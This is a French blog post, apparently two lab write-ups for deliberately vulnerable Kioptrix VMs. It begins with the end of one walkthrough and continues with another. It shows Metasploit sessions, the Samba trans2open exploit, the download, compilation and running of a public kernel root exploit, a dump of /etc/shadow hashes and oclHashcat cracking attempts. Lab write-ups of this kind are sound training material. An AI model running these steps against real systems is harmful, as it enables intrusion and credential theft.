[*] Sending stage (39848 bytes) to 192.168.115.131
[*] Meterpreter session 1 opened (192.168.115.1:4444 -> 192.168.115.131:32779) at 2014-06-11 23:58:50 +0200

meterpreter >


Comme vu au dessus, on a pas de super privilèges :
meterpreter > getuid
Server username: apache (48)


On va donc tenter de passer root. Pour ça, on regarde la version du kernel, soit à l'ancienne avec uname -sr, soit on se rappelle qu'on est en 2014 et que meterpreter intègre "sysinfo" :

meterpreter > sysinfo
Computer    : kioptrix.level2
OS          : Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686
Meterpreter : php/php


On utilise donc le script "Linux Exploit Suggester" en lui disant qu'on veut un exploit kernel 2.6.9 :

$ perl Linux_Exploit_Suggester.pl -k 2.6.9

Kernel local: 2.6.9

Searching among 65 exploits...

Possible Exploits:
[+] american-sign-language
   CVE-2010-4347
   Source: http://www.securityfocus.com/bid/45408/
[+] exp.sh
[+] half_nelson
   Alt: econet    CVE-2010-3848
   Source: http://www.exploit-db.com/exploits/6851
[+] half_nelson1
   Alt: econet    CVE-2010-3848
   Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson2
   Alt: econet    CVE-2010-3850
   Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson3
   Alt: econet    CVE-2010-4073
   Source: http://www.exploit-db.com/exploits/17787/
[+] krad
[+] krad3
   Source: http://exploit-db.com/exploits/1397
[+] pktcdvd
   CVE-2010-3437
   Source: http://www.exploit-db.com/exploits/15150/
[+] py2
[+] sock_sendpage
   Alt: wunderbar_emporium    CVE-2009-2692
   Source: http://www.exploit-db.com/exploits/9435
[+] sock_sendpage2
   Alt: proto_ops    CVE-2009-2692
   Source: http://www.exploit-db.com/exploits/9436
[+] udp_sendmsg_32bit
   CVE-2009-2698
   Source: http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c
[+] video4linux
   CVE-2010-3081
   Source: http://www.exploit-db.com/exploits/15024/


Certains d'entre eux ont un peu trop d'exigences, on veut du rapide. On récupère donc le sploit correspondant à la CVE-2009-2698, on le compile et on l'exécute :

cd /tmp
wget http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c

--23:20:49--  http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c
           => `36108.c'
Resolving downloads.securityfocus.com... 143.127.139.111
Connecting to downloads.securityfocus.com|143.127.139.111|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,507 (2.4K) [text/plain]

    0K ..                                                    100%  394.37 KB/s

23:20:50 (394.37 KB/s) - `36108.c' saved [2507/2507]

gcc 36108.c -o sploit
./sploit

sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)
sh-3.00# 

Walkthrough Kioptrix 1

Pour faire passer le temps, il m'arrive par moments de lancer une VM volontairement trouée à compromettre. A ce sujet, il en existe une très bonne liste sur le Poster Ultime du Pentest du SANS. Pour me changer les idées, j'ai lancé la première VM "Kioptrix" ce soir (que je connaissais de nom, mais j'étais persuadé jusqu'à ce soir qu'il s'agissait d'une n-ième distribution Linux orientée pentest comme BackTrack/Kali, Pentoo ou BlackArch).

Alors je la lance une première fois dans mon VMware, et je voyage d'au moins 10 ans dans le passé. Je n'avais plus vu d'écran de boot Linux tel que celui-ci depuis ... ben 10 ans. Je tombe sur le message de bienvenue (/etc/issue pour ceux qui n'ont jamais eu l'occasion de toucher à ce fichier) me disant en substance que le but est de passer root. Challenge Accepted. D'autant plus que sur un système ayant l'air d'avoir au moins 10 ans, ça ne sera franchement pas difficile.

Je relance donc la VM histoire de faire ça proprement et le documenter. Surtout, je fixe l'interface réseau sur laquelle le système va apparaître. Je choisis "vmnet8".

Je ne connais pas son adresse IP, mais vu que j'ai set la kioptrix sur l'interface vmnet8, j'ai fat un "ifconfig vmnet8", regardé mon ip et le masque réseau correspondant puis j'ai scanné la rangée d'adresses IP correspondant avec nmap en mode service scan (-sV) pour avoir les bannières.

J'obtiens les services suivants :
192.168.115.130  111   tcp    rpcbind      open   2 RPC #100000

192.168.115.130  80    tcp    http         open   Apache httpd 1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
192.168.115.130  22    tcp    ssh          open   OpenSSH 2.9p2 protocol 1.99
192.168.115.130  139   tcp    netbios-ssn  open   Samba smbd workgroup: MYGROUP
192.168.115.130  443   tcp    http         open   Apache httpd 1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
192.168.115.130  1024  tcp    status       open   1 RPC #100024

A partir de là, j'envisage les scénarios suivants :
- vulnérabilités affectant Apache
- vulnérabilités affectant Samba
- vulnérabilités affectant les services RPC (par contre eux je les connais assez mal)
- vulnérabilités affectant d'éventuelles applications web

Je regarde quand même ce qui tourne sur les ports 80/443 en lançant un nikto, qui ne me relève rien d'intéressant. Je peux aussi lancer un DirBuster, mais la perspective de lancer un outil en Java qui va flinguer ma batterie de laptop ne me réjouit pas (je vais ajouter "recoder DirBuster" sur ma TODO list, à côté de "voir si skipfish fait l'affaire pour remplacer DirBuster").

Je regarde donc la liste des exploits disponibles dans metasploit (ouais, c'est de la triche mais on est en 2014) visant Apache, mais il y en a un peu trop, et à peu près aucun ne me semble réellement pertinent (surtout du win32 on va dire). Je me dis que je regarderai plus tard, mais la version d'Apache me rappelle un exploit qui date un peu (openssl-too-open) qui avait fait de gros ravages il y a quelques années (2003 de mémoire - à l'époque il était fréquent de crawler Netcraft pour trouver des serveurs vulnérables à ce truc, shodan n'existait pas encore), mais c'est le mod_ssl qui était surtout concerné. Je regarderai plus tard si rien d'autre ne fonctionne.

Je regarde donc les vulnérabilités Samba via un "search samba" dans metasploit. Il y en a un qui sort du lot :
exploit/linux/samba/trans2open                  2003-04-07       great      Samba trans2open Overflow (Linux x86)

Je l'essaie avec un shellcode de type bind_tcp :

msf exploit(trans2open) > set PAYLOAD linux/x86/shell/bind_tcp
PAYLOAD => linux/x86/shell/bind_tcp
msf exploit(trans2open) > exploit

[*] Started bind handler
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
[*] Trying return address 0xbffffbfc...
[*] Trying return address 0xbffffafc...
[*] Sending stage (36 bytes) to 192.168.115.130
[*] Command shell session 2 opened (192.168.115.1:53449 -> 192.168.115.130:4444) at 2014-06-02 23:00:14 +0200

ls
id

uid=0(root) gid=0(root) groups=99(nobody)

Hop gagné, root. Je récupère le fichier shadow pour le cracker :

cat /etc/shadow
root:$1$XROmcfDX$tF93GqnLHOJeGRHpaNyIs0:14513:0:99999:7:::
bin:*:14513:0:99999:7:::
daemon:*:14513:0:99999:7:::
adm:*:14513:0:99999:7:::
lp:*:14513:0:99999:7:::
sync:*:14513:0:99999:7:::
shutdown:*:14513:0:99999:7:::
halt:*:14513:0:99999:7:::
mail:*:14513:0:99999:7:::
news:*:14513:0:99999:7:::
uucp:*:14513:0:99999:7:::
operator:*:14513:0:99999:7:::
games:*:14513:0:99999:7:::
gopher:*:14513:0:99999:7:::
ftp:*:14513:0:99999:7:::
nobody:*:14513:0:99999:7:::
mailnull:!!:14513:0:99999:7:::
rpm:!!:14513:0:99999:7:::
xfs:!!:14513:0:99999:7:::
rpc:!!:14513:0:99999:7:::
rpcuser:!!:14513:0:99999:7:::
nfsnobody:!!:14513:0:99999:7:::
nscd:!!:14513:0:99999:7:::
ident:!!:14513:0:99999:7:::
radvd:!!:14513:0:99999:7:::
postgres:!!:14513:0:99999:7:::
apache:!!:14513:0:99999:7:::
squid:!!:14513:0:99999:7:::
pcap:!!:14513:0:99999:7:::
john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::
harold:$1$Xx6dZdOd$IMOGACl3r757dv17LZ9010:14513:0:99999:7:::


Je passe le root à oclHashcat avec la wordlist "rockyou" mais sans succès. Je lance donc un bruteforce (-m 500 pour le format de mots de passe (FreeBSD-MD5), et -a 3 pour le mode bruteforce). A l'heure où je rédige ces lignes, le cassage est encore en cours, mais je l'arrêterai à 8 caractères (oclHashcat m'indique 10 heures restantes pour les mots de passe de 7 caractères). EDIT: je l'ai laissé tourner 1 semaine, sans résultats. Il m'annonçait 2 semaines pour couvrir les mots de passe de 8 caractères avec le charset standard.